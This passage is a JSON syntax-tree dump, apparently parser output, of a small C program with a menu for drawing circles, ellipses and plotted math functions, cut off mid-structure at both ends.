19}}, {"id": 278, "type": "argument_list", "text": "(figure, g, start_x, end_x)", "parent": 276, "children": [279, 280, 281, 282], "start_point": {"row": 63, "column": 19}, "end_point": {"row": 63, "column": 46}}, {"id": 279, "type": "identifier", "text": "figure", "parent": 278, "children": [], "start_point": {"row": 63, "column": 20}, "end_point": {"row": 63, "column": 26}}, {"id": 280, "type": "identifier", "text": "g", "parent": 278, "children": [], "start_point": {"row": 63, "column": 28}, "end_point": {"row": 63, "column": 29}}, {"id": 281, "type": "identifier", "text": "start_x", "parent": 278, "children": [], "start_point": {"row": 63, "column": 31}, "end_point": {"row": 63, "column": 38}}, {"id": 282, "type": "identifier", "text": "end_x", "parent": 278, "children": [], "start_point": {"row": 63, "column": 40}, "end_point": {"row": 63, "column": 45}}, {"id": 283, "type": "break_statement", "text": "break;", "parent": 259, "children": [284], "start_point": {"row": 64, "column": 12}, "end_point": {"row": 64, "column": 18}}, {"id": 284, "type": "break", "text": "break", "parent": 283, "children": [], "start_point": {"row": 64, "column": 12}, "end_point": {"row": 64, "column": 17}}, {"id": 285, "type": "case_statement", "text": "case 2:\n printf(\"\\n\\nEnter center point(x,y) of the circle (integer integer):\");\n scanf(\"%d%d\", &x, &y);\n center->x = x;\n center->y = y;\n printf(\"\\n\\nEnter radius of the circle (integer):\");\n scanf(\"%lf\", &r);\n draw_circle(center, r, figure);\n break;", "parent": 255, "children": [286, 287, 332], "start_point": {"row": 65, "column": 8}, "end_point": {"row": 73, "column": 18}}, {"id": 286, "type": "case", "text": "case", "parent": 285, "children": [], "start_point": {"row": 65, "column": 8}, "end_point": {"row": 65, "column": 12}}, {"id": 287, "type": "number_literal", "text": "2", "parent": 285, "children": [], "start_point": {"row": 65, "column": 13}, "end_point": {"row": 65, "column": 14}}, {"id": 288, "type": "call_expression", "text": "printf(\"\\n\\nEnter center point(x,y) of the circle (integer integer):\")", "parent": 285, "children": [289, 290], "start_point": {"row": 66, "column": 12}, "end_point": {"row": 66, "column": 82}}, {"id": 289, "type": "identifier", "text": "printf", "parent": 288, "children": [], "start_point": {"row": 66, "column": 12}, "end_point": {"row": 66, "column": 18}}, {"id": 290, "type": "argument_list", "text": "(\"\\n\\nEnter center point(x,y) of the circle (integer integer):\")", "parent": 288, "children": [291], "start_point": {"row": 66, "column": 18}, "end_point": {"row": 66, "column": 82}}, {"id": 291, "type": "string_literal", "text": "\"\\n\\nEnter center point(x,y) of the circle (integer integer):\"", "parent": 290, "children": [292, 293], "start_point": {"row": 66, "column": 19}, "end_point": {"row": 66, "column": 81}}, {"id": 292, "type": "escape_sequence", "text": "\\n", "parent": 291, "children": [], "start_point": {"row": 66, "column": 20}, "end_point": {"row": 66, "column": 22}}, {"id": 293, "type": "escape_sequence", "text": "\\n", "parent": 291, "children": [], "start_point": {"row": 66, "column": 22}, "end_point": {"row": 66, "column": 24}}, {"id": 294, "type": "call_expression", "text": "scanf(\"%d%d\", &x, &y)", "parent": 285, "children": [295, 296], "start_point": {"row": 67, "column": 12}, "end_point": {"row": 67, "column": 33}}, {"id": 295, "type": "identifier", "text": "scanf", "parent": 294, "children": [], "start_point": {"row": 67, "column": 12}, "end_point": {"row": 67, "column": 17}}, {"id": 296, "type": "argument_list", "text": "(\"%d%d\", &x, &y)", "parent": 294, "children": [297, 298, 300], "start_point": {"row": 67, "column": 17}, "end_point": {"row": 67, "column": 33}}, {"id": 297, "type": "string_literal", "text": "\"%d%d\"", "parent": 296, "children": [], "start_point": {"row": 67, "column": 18}, "end_point": {"row": 67, "column": 24}}, {"id": 298, "type": "pointer_expression", "text": "&x", "parent": 296, "children": [299], "start_point": {"row": 67, "column": 26}, "end_point": {"row": 67, "column": 28}}, {"id": 299, "type": "identifier", "text": "x", "parent": 298, "children": [], "start_point": {"row": 67, "column": 27}, "end_point": {"row": 67, "column": 28}}, {"id": 300, "type": "pointer_expression", "text": "&y", "parent": 296, "children": [301], "start_point": {"row": 67, "column": 30}, "end_point": {"row": 67, "column": 32}}, {"id": 301, "type": "identifier", "text": "y", "parent": 300, "children": [], "start_point": {"row": 67, "column": 31}, "end_point": {"row": 67, "column": 32}}, {"id": 302, "type": "assignment_expression", "text": "center->x = x", "parent": 285, "children": [303, 306, 307], "start_point": {"row": 68, "column": 12}, "end_point": {"row": 68, "column": 25}}, {"id": 303, "type": "field_expression", "text": "center->x", "parent": 302, "children": [304, 305], "start_point": {"row": 68, "column": 12}, "end_point": {"row": 68, "column": 21}}, {"id": 304, "type": "identifier", "text": "center", "parent": 303, "children": [], "start_point": {"row": 68, "column": 12}, "end_point": {"row": 68, "column": 18}}, {"id": 305, "type": "field_identifier", "text": "x", "parent": 303, "children": [], "start_point": {"row": 68, "column": 20}, "end_point": {"row": 68, "column": 21}}, {"id": 306, "type": "=", "text": "=", "parent": 302, "children": [], "start_point": {"row": 68, "column": 22}, "end_point": {"row": 68, "column": 23}}, {"id": 307, "type": "identifier", "text": "x", "parent": 302, "children": [], "start_point": {"row": 68, "column": 24}, "end_point": {"row": 68, "column": 25}}, {"id": 308, "type": "assignment_expression", "text": "center->y = y", "parent": 285, "children": [309, 312, 313], "start_point": {"row": 69, "column": 12}, "end_point": {"row": 69, "column": 25}}, {"id": 309, "type": "field_expression", "text": "center->y", "parent": 308, "children": [310, 311], "start_point": {"row": 69, "column": 12}, "end_point": {"row": 69, "column": 21}}, {"id": 310, "type": "identifier", "text": "center", "parent": 309, "children": [], "start_point": {"row": 69, "column": 12}, "end_point": {"row": 69, "column": 18}}, {"id": 311, "type": "field_identifier", "text": "y", "parent": 309, "children": [], "start_point": {"row": 69, "column": 20}, "end_point": {"row": 69, "column": 21}}, {"id": 312, "type": "=", "text": "=", "parent": 308, "children": [], "start_point": {"row": 69, "column": 22}, "end_point": {"row": 69, "column": 23}}, {"id": 313, "type": "identifier", "text": "y", "parent": 308, "children": [], "start_point": {"row": 69, "column": 24}, "end_point": {"row": 69, "column": 25}}, {"id": 314, "type": "call_expression", "text": "printf(\"\\n\\nEnter radius of the circle (integer):\")", "parent": 285, "children": [315, 316], "start_point": {"row": 70, "column": 12}, "end_point": {"row": 70, "column": 63}}, {"id": 315, "type": "identifier", "text": "printf", "parent": 314, "children": [], "start_point": {"row": 70, "column": 12}, "end_point": {"row": 70, "column": 18}}, {"id": 316, "type": "argument_list", "text": "(\"\\n\\nEnter radius of the circle (integer):\")", "parent": 314, "children": [317], "start_point": {"row": 70, "column": 18}, "end_point": {"row": 70, "column": 63}}, {"id": 317, "type": "string_literal", "text": "\"\\n\\nEnter radius of the circle (integer):\"", "parent": 316, "children": [318, 319], "start_point": {"row": 70, "column": 19}, "end_point": {"row": 70, "column": 62}}, {"id": 318, "type": "escape_sequence", "text": "\\n", "parent": 317, "children": [], "start_point": {"row": 70, "column": 20}, "end_point": {"row": 70, "column": 22}}, {"id": 319, "type": "escape_sequence", "text": "\\n", "parent": 317, "children": [], "start_point": {"row": 70, "column": 22}, "end_point": {"row": 70, "column": 24}}, {"id": 320, "type": "call_expression", "text": "scanf(\"%lf\", &r)", "parent": 285, "children": [321, 322], "start_point": {"row": 71, "column": 12}, "end_point": {"row": 71, "column": 28}}, {"id": 321, "type": "identifier", "text": "scanf", "parent": 320, "children": [], "start_point": {"row": 71, "column": 12}, "end_point": {"row": 71, "column": 17}}, {"id": 322, "type": "argument_list", "text": "(\"%lf\", &r)", "parent": 320, "children": [323, 324], "start_point": {"row": 71, "column": 17}, "end_point": {"row": 71, "column": 28}}, {"id": 323, "type": "string_literal", "text": "\"%lf\"", "parent": 322, "children": [], "start_point": {"row": 71, "column": 18}, "end_point": {"row": 71, "column": 23}}, {"id": 324, "type": "pointer_expression", "text": "&r", "parent": 322, "children": [325], "start_point": {"row": 71, "column": 25}, "end_point": {"row": 71, "column": 27}}, {"id": 325, "type": "identifier", "text": "r", "parent": 324, "children": [], "start_point": {"row": 71, "column": 26}, "end_point": {"row": 71, "column": 27}}, {"id": 326, "type": "call_expression", "text": "draw_circle(center, r, figure)", "parent": 285, "children": [327, 328], "start_point": {"row": 72, "column": 12}, "end_point": {"row": 72, "column": 42}}, {"id": 327, "type": "identifier", "text": "draw_circle", "parent": 326, "children": [], "start_point": {"row": 72, "column": 12}, "end_point": {"row": 72, "column": 23}}, {"id": 328, "type": "argument_list", "text": "(center, r, figure)", "parent": 326, "children": [329, 330, 331], "start_point": {"row": 72, "column": 23}, "end_point": {"row": 72, "column": 42}}, {"id": 329, "type": "identifier", "text": "center", "parent": 328, "children": [], "start_point": {"row": 72, "column": 24}, "end_point": {"row": 72, "column": 30}}, {"id": 330, "type": "identifier", "text": "r", "parent": 328, "children": [], "start_point": {"row": 72, "column": 32}, "end_point": {"row": 72, "column": 33}}, {"id": 331, "type": "identifier", "text": "figure", "parent": 328, "children": [], "start_point": {"row": 72, "column": 35}, "end_point": {"row": 72, "column": 41}}, {"id": 332, "type": "break_statement", "text": "break;", "parent": 285, "children": [333], "start_point": {"row": 73, "column": 12}, "end_point": {"row": 73, "column": 18}}, {"id": 333, "type": "break", "text": "break", "parent": 332, "children": [], "start_point": {"row": 73, "column": 12}, "end_point": {"row": 73, "column": 17}}, {"id": 334, "type": "case_statement", "text": "case 3:\n printf(\"\\n\\nEnter center point of the ellipse (integer x, integer y):\");\n scanf(\"%d%d\", &x, &y);\n center->x = x;\n center->y = y;\n printf(\"\\nEnter major and minor axises of the ellipse (decimal, decimal):\");\n scanf(\"%lf%lf\", &a, &b);\n draw_ellipse(center, a, b, figure);\n break;", "parent": 255, "children": [335, 336, 383], "start_point": {"row": 74, "column": 8}, "end_point": {"row": 82, "column": 18}}, {"id": 335, "type": "case", "text": "case", "parent": 334, "children": [], "start_point": {"row": 74, "column": 8}, "end_point": {"row": 74, "column": 12}}, {"id": 336, "type": "number_literal", "text": "3", "parent": 334, "children": [], "start_point": {"row": 74, "column": 13}, "end_point": {"row": 74, "column": 14}}, {"id": 337, "type": "call_expression", "text": "printf(\"\\n\\nEnter center point of the ellipse (integer x, integer y):\")", "parent": 334, "children": [338, 339], "start_point": {"row": 75, "column": 12}, "end_point": {"row": 75, "column": 83}}, {"id": 338, "type": "identifier", "text": "printf", "parent": 337, "children": [], "start_point": {"row": 75, "column": 12}, "end_point": {"row": 75, "column": 18}}, {"id": 339, "type": "argument_list", "text": "(\"\\n\\nEnter center point of the ellipse (integer x, integer y):\")", "parent": 337, "children": [340], "start_point": {"row": 75, "column": 18}, "end_point": {"row": 75, "column": 83}}, {"id": 340, "type": "string_literal", "text": "\"\\n\\nEnter center point of the ellipse (integer x, integer y):\"", "parent": 339, "children": [341, 342], "start_point": {"row": 75, "column": 19}, "end_point": {"row": 75, "column": 82}}, {"id": 341, "type": "escape_sequence", "text": "\\n", "parent": 340, "children": [], "start_point": {"row": 75, "column": 20}, "end_point": {"row": 75, "column": 22}}, {"id": 342, "type": "escape_sequence", "text": "\\n", "parent": 340, "children": [], "start_point": {"row": 75, "column": 22}, "end_point": {"row": 75, "column": 24}}, {"id": 343, "type": "call_expression", "text": "scanf(\"%d%d\", &x, &y)", "parent": 334, "children": [344, 345], "start_point": {"row": 76, "column": 12}, "end_point": {"row": 76, "column": 33}}, {"id": 344, "type": "identifier", "text": "scanf", "parent": 343, "children": [], "start_point": {"row": 76, "column": 12}, "end_point": {"row": 76, "column": 17}}, {"id": 345, "type": "argument_list", "text": "(\"%d%d\", &x, &y)", "parent": 343, "children": [346, 347, 349], "start_point": {"row": 76, "column": 17}, "end_point": {"row": 76, "column": 33}}, {"id": 346, "type": "string_literal", "text": "\"%d%d\"", "parent": 345, "children": [], "start_point": {"row": 76, "column": 18}, "end_point": {"row": 76, "column": 24}}, {"id": 347, "type": "pointer_expression", "text": "&x", "parent": 345, "children": [348], "start_point": {"row": 76, "column": 26}, "end_point": {"row": 76, "column": 28}}, {"id": 348, "type": "identifier", "text": "x", "parent": 347, "children": [], "start_point": {"row": 76, "column": 27}, "end_point": {"row": 76, "column": 28}}, {"id": 349, "type": "pointer_expression", "text": "&y", "parent": 345, "children": [350], "start_point": {"row": 76, "column": 30}, "end_point": {"row": 76, "column": 32}}, {"id": 350, "type": "identifier", "text": "y", "parent": 349, "children": [], "start_point": {"row": 76, "column": 31}, "end_point": {"row": 76, "column": 32}}, {"id": 351, "type": "assignment_expression", "text": "center->x = x", "parent": 334, "children": [352, 355, 356], "start_point": {"row": 77, "column": 12}, "end_point": {"row": 77, "column": 25}}, {"id": 352, "type": "field_expression", "text": "center->x", "parent": 351, "children": [353, 354], "start_point": {"row": 77, "column": 12}, "end_point": {"row": 77, "column": 21}}, {"id": 353, "type": "identifier", "text": "center", "parent": 352, "children": [], "start_point": {"row": 77, "column": 12}, "end_point": {"row": 77, "column": 18}}, {"id": 354, "type": "field_identifier", "text": "x", "parent": 352, "children": [], "start_point": {"row": 77, "column": 20}, "end_point": {"row": 77, "column": 21}}, {"id": 355, "type": "=", "text": "=", "parent": 351, "children": [], "start_point": {"row": 77, "column": 22}, "end_point": {"row": 77, "column": 23}}, {"id": 356, "type": "identifier", "text": "x", "parent": 351, "children": [], "start_point": {"row": 77, "column": 24}, "end_point": {"row": 77, "column": 25}}, {"id": 357, "type": "assignment_expression", "text": "center->y = y", "parent": 334, "children": [358, 361, 362], "start_point": {"row": 78, "column": 12}, "end_point": {"row": 78, "column": 25}}, {"id": 358, "type": "field_expression", "text": "center->y", "parent": 357, "children": [359, 360], "start_point": {"row": 78, "column": 12}, "end_point": {"row": 78, "column": 21}}, {"id": 359, "type": "identifier", "text": "center", "parent": 358, "children": [], "start_point": {"row": 78, "column": 12}, "end_point": {"row": 78, "column": 18}}, {"id": 360, "type": "field_identifier", "text": "y", "parent": 358, "children": [], "start_point": {"row": 78, "column": 20}, "end_point": {"row": 78, "column": 21}}, {"id": 361, "type": "=", "text": "=", "parent": 357, "children": [], "start_point": {"row": 78, "column": 22}, "end_point": {"row": 78, "column": 23}}, {"id": 362, "type": "identifier", "text": "y", "parent": 357, "children": [], "start_point": {"row": 78, "column": 24}, "end_point": {"row": 78, "column": 25}}, {"id": 363, "type": "call_expression", "text": "printf(\"\\nEnter major and minor axises of the ellipse (decimal, decimal):\")", "parent": 334, "children": [364, 365], "start_point": {"row": 79, "column": 12}, "end_point": {"row": 79, "column": 87}}, {"id": 364, "type": "identifier", "text": "printf", "parent": 363, "children": [], "start_point": {"row": 79, "column": 12}, "end_point": {"row": 79, "column": 18}}, {"id": 365, "type": "argument_list", "text": "(\"\\nEnter major and minor axises of the ellipse (decimal, decimal):\")", "parent": 363, "children": [366], "start_point": {"row": 79, "column": 18}, "end_point": {"row": 79, "column": 87}}, {"id": 366, "type": "string_literal", "text": "\"\\nEnter major and minor axises of the ellipse (decimal, decimal):\"", "parent": 365, "children": [367], "start_point": {"row": 79, "column": 19}, "end_point": {"row": 79, "column": 86}}, {"id": 367, "type": "escape_sequence", "text": "\\n", "parent": 366, "children": [], "start_point": {"row": 79, "column": 20}, "end_point": {"row": 79, "column": 22}}, {"id": 368, "type": "call_expression", "text": "scanf(\"%lf%lf\", &a, &b)", "parent": 334, "children": [369, 370], "start_point": {"row": 80, "column": 12}, "end_point": {"row": 80, "column": 35}}, {"id": 369, "type": "identifier", "text": "scanf", "parent": 368, "children": [], "start_point": {"row": 80, "column": 12}, "end_point": {"row": 80, "column": 17}}, {"id": 370, "type": "argument_list", "text": "(\"%lf%lf\", &a, &b)", "parent": 368, "children": [371, 372, 374], "start_point": {"row": 80, "column": 17}, "end_point": {"row": 80, "column": 35}}, {"id": 371, "type": "string_literal", "text": "\"%lf%lf\"", "parent": 370, "children": [], "start_point": {"row": 80, "column": 18}, "end_point": {"row": 80, "column": 26}}, {"id": 372, "type": "pointer_expression", "text": "&a", "parent": 370, "children": [373], "start_point": {"row": 80, "column": 28}, "end_point": {"row": 80, "column": 30}}, {"id": 373, "type": "identifier", "text": "a", "parent": 372, "children": [], "start_point": {"row": 80, "column": 29}, "end_point": {"row": 80, "column": 30}}, {"id": 374, "type": "pointer_expression", "text": "&b", "parent": 370, "children": [375], "start_point": {"row": 80, "column": 32}, "end_point": {"row": 80, "column": 34}}, {"id": 375, "type": "identifier", "text": "b", "parent": 374, "children": [], "start_point": {"row": 80, "column": 33}, "end_point": {"row": 80, "column": 34}}, {"id": 376, "type": "call_expression", "text": "draw_ellipse(center, a, b, figure)", "parent": 334, "children": [377, 378], "start_point": {"row": 81, "column": 12}, "end_point": {"row": 81, "column": 46}}, {"id": 377, "type": "identifier", "text": "draw_ellipse", "parent": 376, "children": [], "start_point": {"row": 81, "column": 12}, "end_point": {"row": 81, "column": 24}}, {"id": 378, "type": "argument_list", "text": "(center, a, b, figure)", "parent": 376, "children": [379, 380, 381, 382], "start_point": {"row": 81, "column": 24}, "end_point": {"row": 81, "column": 46}}, {"id": 379, "type": "identifier", "text": "center", "parent": 378, "children": [], "start_point": {"row": 81, "column": 25}, "end_point": {"row": 81, "column": 31}}, {"id": 380, "type": "identifier", "text": "a", "parent": 378, "children": [], "start_point": {"row": 81, "column": 33}, "end_point": {"row": 81, "column": 34}}, {"id": 381, "type": "identifier", "text": "b", "parent": 378, "children": [], "start_point": {"row": 81, "column": 36}, "end_point": {"row": 81, "column": 37}}, {"id": 382, "type": "identifier", "text": "figure", "parent": 378, "children": [], "start_point": {"row": 81, "column": 39}, "end_point": {"row": 81, "column": 45}}, {"id": 383, "type": "break_statement", "text": "break;", "parent": 334, "children": [384], "start_point": {"row": 82, "column": 12}, "end_point": {"row": 82, "column": 18}}, {"id": 384, "type": "break", "text": "break", "parent": 383, "children": [], "start_point": {"row": 82, "column": 12}, "end_point": {"row": 82, "column": 17}}, {"id": 385, "type": "case_statement", "text": "case 4:\n return;\n break;", "parent": 255, "children": [386, 387, 388, 389], "start_point": {"row": 83, "column": 8}, "end_point": {"row": 85, "column": 18}}, {"id": 386, "type": "case", "text": "case", "parent": 385, "children": [], "start_point": {"row": 83, "column": 8}, "end_point": {"row": 83, "column": 12}}, {"id": 387, "type": "number_literal", "text": "4", "parent": 385, "children": [], "start_point": {"row": 83, "column": 13}, "end_point": {"row": 83, "column": 14}}, {"id": 388, "type": "return_statement", "text": "return;", "parent": 385, "children": [], "start_point": {"row": 84, "column": 12}, "end_point": {"row": 84, "column": 19}}, {"id": 389, "type": "break_statement", "text": "break;", "parent": 385, "children": [390], "start_point": {"row": 85, "column": 12}, "end_point": {"row": 85, "column": 18}}, {"id": 390, "type": "break", "text": "break", "parent": 389, "children": [], "start_point": {"row": 85, "column": 12}, "end_point": {"row": 85, "column": 17}}, {"id": 391, "type": "case_statement", "text": "default:\n printf(\"Wrong input!\");\n break;", "parent": 255, "children": [392, 397], "start_point": {"row": 86, "column": 8}, "end_point": {"row": 88, "column": 18}}, {"id": 392, "type": "default", "text": "default", "parent": 391, "children": [], "start_point": {"row": 86, "column": 8}, "end_point": {"row": 86, "column": 15}}, {"id": 393, "type": "call_expression", "text": "printf(\"Wrong input!\")", "parent": 391, "children": [394, 395], "start_point": {"row": 87, "column": 12}, "end_point": {"row": 87, "column": 34}}, {"id": 394, "type": "identifier", "text": "printf", "parent": 393, "children": [], "start_point": {"row": 87, "column": 12}, "end_point": {"row": 87, "column": 18}}, {"id": 395, "type": "argument_list", "text": "(\"Wrong input!\")", "parent": 393, "children": [396], "start_point": {"row": 87, "column": 18}, "end_point": {"row": 87, "column": 34}}, {"id": 396, "type": "string_literal", "text": "\"Wrong input!\"", "parent": 395, "children": [], "start_point": {"row": 87, "column": 19}, "end_point": {"row": 87, "column": 33}}, {"id": 397, "type": "break_statement", "text": "break;", "parent": 391, "children": [398], "start_point": {"row": 88, "column": 12}, "end_point": {"row": 88, "column": 18}}, {"id": 398, "type": "break", "text": "break", "parent": 397, "children": [], "start_point": {"row": 88, "column": 12}, "end_point": {"row": 88, "column": 17}}, {"id": 399, "type": "function_definition", "text": "double g(double x){\n return x*x*x /10;\n}", "parent": null, "children": [400, 401], "start_point": {"row": 92, "column": 0}, "end_point": {"row": 94, "column": 1}}, {"id": 400, "type": "primitive_type", "text": "double", "parent": 399, "children": [], "start_point": {"row": 92, "column": 0}, "end_point": {"row": 92, "column": 6}}, {"id": 401, "type": "function_declarator", "text": "g(double x)", "parent": 399, "children": [402, 403], "start_point": {"row": 92, "column": 7}, "end_point": {"row": 92, "column": 18}}, {"id": 402, "type": "identifier", "text": "g", "parent": 401, "children": [], "start_point": {"row": 92, "column": 7}, "end_point": {"row": 92, "column": 8}}, {"id": 403, "type": "parameter_list", "text": "(double x)", "parent": 401, "children": [404], "start_point": {"row": 92, "column": 8}, "end_point": {"row": 92, "column": 18}}, {"id": 404, "type": "parameter_declaration", "text": "double x", "parent": 403, "children": [405, 406], "start_point": {"row": 92, "column": 9}, "end_point": {"row": 92, "column": 17}}, {"id": 405, "type": "primitive_type", "text": "double", "parent": 404, "children": [], "start_point": {"row": 92, "column": 9}, "end_point": {"row": 92, "column": 15}}, {"id": 406, "type": "identifier", "text": "x", "parent": 404, "children": [], "start_point": {"row": 92, "column": 16}, "end_point": {"row": 92, "column": 17}}, {"id": 407, "type": "return_statement", "text": "return x*x*x /10;", "parent": 399, "children": [408], "start_point": {"row": 93, "column": 4}, "end_point": {"row": 93, "column": 21}}, {"id": 408, "type": "binary_expression", "text": "x*x*x /10", "parent": 407, "children": [409, 416, 417], "start_point": {"row": 93, "column": 11}, "end_point": {"row": 93, "column": 20}}, {"id": 409, "type": "binary_expression", "text": "x*x*x", "parent": 408, "children": [410, 414, 415], "start_point": {"row": 93, "column": 11}, "end_point": {"row": 93, "column": 16}}, {"id": 410, "type": "binary_expression", "text": "x*x", "parent": 409, "children": [411, 412, 413], "start_point": {"row": 93, "column": 11}, "end_point": {"row": 93, "column": 14}}, {"id": 411, "type": "identifier", "text": "x", "parent": 410, "children": [], "start_point": {"row": 93, "column": 11}, "end_point": {"row": 93, "column": 12}}, {"id": 412, "type": "*", "text": "*", "parent": 410, "children": [], "start_point": {"row": 93, "column": 12}, "end_point": {"row": 93, "column": 13}}, {"id": 413, "type": "identifier", "text": "x", "parent": 410, "children": [], "start_point": {"row": 93, "column": 13}, "end_point": {"row": 93, "column": 14}}, {"id": 414, "type": "*", "text": "*", "parent": 409, "children": [], "start_point": {"row": 93, "column": 14}, "end_point": {"row": 93, "column": 15}}, {"id": 415, "type": "identifier", "text": "x", "parent": 409, "children": [], "start_point": {"row": 93, "column": 15}, "end_point": {"row": 93, "column": 16}}, {"id": 416, "type": "/", "text": "/", "parent": 408, "children": [], "start_point": {"row": 93, "column": 17}, "end_point": {"row": 93, "column": 18}}, {"id": 417, "type": "number_literal", "text": "10", "parent": 408, "children": [], "start_point": {"row": 93, "column": 18}, "end_point": {"row": 93, "column": 20}}, {"id": 418, "type": "function_definition", "text": "double h(double x){\n return x*x;\n}", "parent": null, "children": [419, 420], "start_point": {"row": 96, "column": 0}, "end_point": {"row": 98, "column": 1}}, {"id": 419, "type": "primitive_type", "text": "double", "parent": 418, "children": [], "start_point": {"row": 96, "column": 0}, "end_point": {"row": 96, "column": 6}}, {"id": 420, "type": "function_declarator", "text": "h(double x)", "parent": 418, "children": [421, 422], "start_point": {"row": 96, "column": 7}, "end_point": {"row": 96, "column": 18}}, {"id": 421, "type": "identifier", "text": "h", "parent": 420, "children": [], "start_point": {"row": 96, "column": 7}, "end_point": {"row": 96, "column": 8}}, {"id": 422, "type": "parameter_list", "text": "(double x)", "parent": 420, "children": [423], "start_point": {"row": 96, "column": 8}, "end_point": {"row": 96, "column": 18}}, {"id": 423, "type": "parameter_declaration", "text": "double x", "parent": 422, "children": [424, 425], "start_point": {"row": 96, "column": 9}, "end_point": {"row": 96, "column": 17}}, {"id": 424, "type": "primitive_type", "text": "double", "parent": 423, "children": [], "start_point": {"row": 96, "column": 9}, "end_point": {"row": 96, "column": 15}}, {"id": 425, "type": "identifier", "text": "x", "parent": 423, "children": [], "start_point": {"row": 96, "column": 16}, "end_point": {"row": 96, "column": 17}}, {"id": 426, "type": "return_statement", "text": "return x*x;", "parent": 418, "children": [427], "start_point": {"row": 97, "column": 4}, "end_point": {"row": 97, "column": 15}}, {"id": 427, "type": "binary_expression", "text": "x*x", "parent": 426, "children": [428, 429, 430], "start_point": {"row": 97, "column": 11}, "end_point": {"row": 97, "column": 14}}, {"id": 428, "type": "identifier", "text": "x", "parent": 427, "children": [], "start_point": {"row": 97, "column": 11}, "end_point": {"row": 97, "column": 12}}, {"id": 429, "type": "*", "text": "*", "parent": 427, "children": [], "start_point": {"row": 97, "column": 12}, "end_point": {"row": 97, "column": 13}}, {"id": 430, "type": "identifier", "text": "x", "parent": 427, "children": [], "start_point": {"row": 97, "column": 13}, "end_point": {"row": 97, "column": 14}}, {"id": 431, "type": "function_definition", "text": "double k(double x){\n return 1/x;\n}", "parent": null, "children": [432, 433], "start_point": {"row": 100, "column": 0}, "end_point": {"row": 102, "column": 1}}, {"id": 432, "type": "primitive_type", "text": "double", "parent": 431, "children": [], "start_point": {"row": 100, "column": 0}, "end_point": {"row": 100, "column": 6}}, {"id": 433, "type": "function_declarator", "text": "k(double x)", "parent": 431, "children": [434, 435], "start_point": {"row": 100, "column": 7}, "end_point": {"row": 100, "column": 18}}, {"id": 434, "type": "identifier", "text": "k", "parent": 433, "children": [], "start_point": {"row": 100, "column": 7}, "end_point": {"row": 100, "column": 8}}, {"id": 435, "type": "parameter_list", "text": "(double x)", "parent": 433, "children": [436], "start_point": {"row": 100, "column": 8}, "end_point": {"row": 100, "column": 18}}, {"id": 436, "type": "parameter_declaration", "text": "double x", "parent": 435, "children": [437, 438], "start_point": {"row": 100, "column": 9}, "end_point": {"row": 100, "column": 17}}, {"id": 437, "type": "primitive_type", "text": "double", "parent": 436, "children": [], "start_point": {"row": 100, "column": 9}, "end_point": {"row": 100, "column": 15}}, {"id": 438, "type": "identifier", "text": "x", "parent": 436, "children": [], "start_point": {"row": 100, "column": 16}, "end_point": {"row": 100, "column": 17}}, {"id": 439, "type": "return_statement", "text": "return 1/x;", "parent": 431, "children": [440], "start_point": {"row": 101, "column": 4}, "end_point": {"row": 101, "column": 15}}, {"id": 440, "type": "binary_expression", "text": "1/x", "parent": 439, "children": [441, 442, 443], "start_point": {"row": 101, "column": 11}, "end_point": {"row": 101, "column": 14}}, {"id": 441, "type": "number_literal", "text": "1", "parent": 440, "children": [], "start_point": {"row": 101, "column": 11}, "end_point": {"row": 101, "column": 12}}, {"id": 442, "type": "/", "text": "/", "parent": 440, "children": [], "start_point": {"row": 101, "column": 12}, "end_point": {"row": 101, "column": 13}}, {"id": 443, "type": "identifier", "text": "x", "parent": 440, "children": [], "start_point": {"row": 101, "column": 13}, "end_point": {"row": 101, "column": 14}}]}, "node_categories": {"declarations": {"functions": [11, 18, 25, 27, 178, 180, 399, 401, 418, 420, 431, 433], "variables": [9, 14, 16, 21, 30, 48, 54, 89, 183, 188, 193, 200, 404, 423, 436], "classes": [], "imports": [0, 1, 3, 4, 6, 7], "modules": [], "enums": []}, "statements": {"expressions": [37, 42, 45, 46, 59, 65, 71, 75, 77, 83, 87, 96, 101, 107, 111, 113, 119, 123, 125, 131, 137, 141, 143, 145, 148, 154, 160, 165, 169, 172, 207, 212, 215, 216, 218, 224, 229, 234, 239, 244, 249, 253, 257, 262, 268, 272, 274, 276, 288, 294, 298, 300, 303, 309, 314, 320, 324, 326, 337, 343, 347, 349, 352, 358, 363, 368, 372, 374, 376, 393, 408, 409, 410, 427, 440], "assignments": [147, 153, 159, 302, 308, 351, 357], "loops": [], "conditionals": [12, 19, 22, 28, 31, 35, 39, 43, 47, 50, 51, 52, 53, 56, 57, 58, 60, 66, 72, 76, 78, 84, 88, 90, 94, 97, 99, 100, 102, 108, 112, 114, 120, 124, 126, 128, 129, 130, 132, 138, 142, 144, 146, 149, 150, 152, 155, 156, 158, 161, 162, 164, 166, 168, 171, 173, 175, 181, 184, 187, 190, 191, 192, 195, 196, 197, 198, 199, 201, 205, 209, 213, 217, 219, 225, 230, 235, 240, 245, 250, 254, 255, 256, 258, 259, 260, 263, 269, 273, 275, 277, 279, 280, 281, 282, 285, 286, 289, 295, 299, 301, 304, 305, 307, 310, 311, 313, 315, 321, 325, 327, 329, 330, 331, 334, 335, 338, 344, 348, 350, 353, 354, 356, 359, 360, 362, 364, 369, 373, 375, 377, 379, 380, 381, 382, 385, 386, 391, 394, 402, 406, 411, 413, 415, 421, 425, 428, 430, 434, 438, 443], "returns": [176, 388, 407, 426, 439], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 8, 62, 68, 74, 80, 86, 104, 110, 116, 122, 134, 140, 177, 221, 227, 232, 237, 242, 247, 252, 261, 265, 271, 287, 291, 297, 317, 323, 336, 340, 346, 366, 371, 387, 396, 417, 441], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 11, "universal_type": "function", "name": "unknown", "text_snippet": "g(double)"}, {"node_id": 18, "universal_type": "function", "name": "unknown", "text_snippet": "menu(Figure *)"}, {"node_id": 25, "universal_type": "function", "name": "main", "text_snippet": "int main() \n{\n Color* color = (Color*)malloc(sizeof(Color));\n double width, height, thickness,"}, {"node_id": 27, "universal_type": "function", "name": "unknown", "text_snippet": "main()"}, {"node_id": 178, "universal_type": "function", "name": "menu", "text_snippet": "void menu(Figure * figure){\n int choice, x, y;\n double start_x, end_x, r, a, b;\n Point2D *c"}, {"node_id": 180, "universal_type": "function", "name": "unknown", "text_snippet": "menu(Figure * figure)"}, {"node_id": 399, "universal_type": "function", "name": "unknown", "text_snippet": "double g(double x){\n return x*x*x /10;\n}"}, {"node_id": 401, "universal_type": "function", "name": "unknown", "text_snippet": "g(double x)"}, {"node_id": 418, "universal_type": "function", "name": "unknown", "text_snippet": 